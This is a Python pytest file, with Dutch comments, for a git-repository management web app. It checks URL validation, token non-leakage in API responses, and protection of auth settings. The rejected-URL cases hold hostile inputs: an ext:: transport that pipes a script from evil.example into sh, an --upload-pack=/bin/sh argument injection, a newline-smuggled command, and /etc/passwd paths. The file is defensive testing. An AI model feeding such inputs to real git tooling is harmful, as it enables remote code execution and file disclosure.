"""Git-URL-validatie. `ext::` voert een shell-commando uit, `file://` legt
lokale paden bloot — beide horen niet in een door de gebruiker opgegeven URL."""
import pytest

from conftest import login


@pytest.mark.parametrize("url", [
    "https://github.com/bes-r/server-up.git",
    "http://10.0.20.22:3000/bes-r/server-up.git",
    "ssh://git@example.com/bes-r/server-up.git",
    "git@github.com:bes-r/server-up.git",
])
def test_toegestane_urls(env, url):
    assert env["core"].valid_repo_url(url) is True


@pytest.mark.parametrize("url", [
    'ext::sh -c "curl evil.example/x.sh | sh"',
    "file:///etc",
    "/etc/passwd",
    "--upload-pack=/bin/sh",
    "",
    "https://example.com/repo.git\next::sh -c id",
])
def test_geweigerde_urls(env, url):
    assert env["core"].valid_repo_url(url) is False


def test_repo_toevoegen_weigert_ext_transport(client):
    csrf = login(client)
    r = client.post("/api/repos", json={"url": 'ext::sh -c "id"'},
                    headers={"X-CSRF-Token": csrf})
    assert r.status_code == 400
    assert client.get("/api/repos").get_json() is not None


def test_clone_weigert_ext_transport_uit_oude_config(env):
    """Vangnet: ook een repo die al in config.json stond wordt geweigerd."""
    from core import git
    ok, msg = git.clone_or_pull({"id": "boos", "url": 'ext::sh -c "id"'})
    assert ok is False
    assert "niet-toegestane" in msg


def test_repos_endpoint_lekt_geen_token(client, env):
    csrf = login(client)
    client.post("/api/repos",
                json={"url": "https://example.com/geheim.git", "token": "s3cr3t-token"},
                headers={"X-CSRF-Token": csrf})

    body = client.get("/api/repos").get_data(as_text=True)
    assert "s3cr3t-token" not in body
    assert "has_token" in body

    settings = client.get("/api/settings").get_data(as_text=True)
    assert "s3cr3t-token" not in settings


def test_settings_put_wist_bestaand_token_niet(client, env):
    csrf = login(client)
    client.post("/api/repos",
                json={"id": "mijn", "url": "https://example.com/x.git", "token": "blijf-staan"},
                headers={"X-CSRF-Token": csrf})

    repos = client.get("/api/repos").get_json()
    client.put("/api/settings", json={"APP_REPOS": repos},
               headers={"X-CSRF-Token": csrf})

    stored = env["core"].load()["APP_REPOS"]
    mijn = next(r for r in stored if r["id"] == "mijn")
    assert mijn["token"] == "blijf-staan"


def test_settings_put_kan_auth_niet_overschrijven(client, env):
    csrf = login(client)
    client.put("/api/settings",
               json={"AUTH": {"mode": "proxy", "users": {}, "trusted_proxies": ["0.0.0.0/0"]}},
               headers={"X-CSRF-Token": csrf})
    import core.auth as auth
    assert auth.settings()["mode"] == "local"
    assert "tester" in auth.settings()["users"]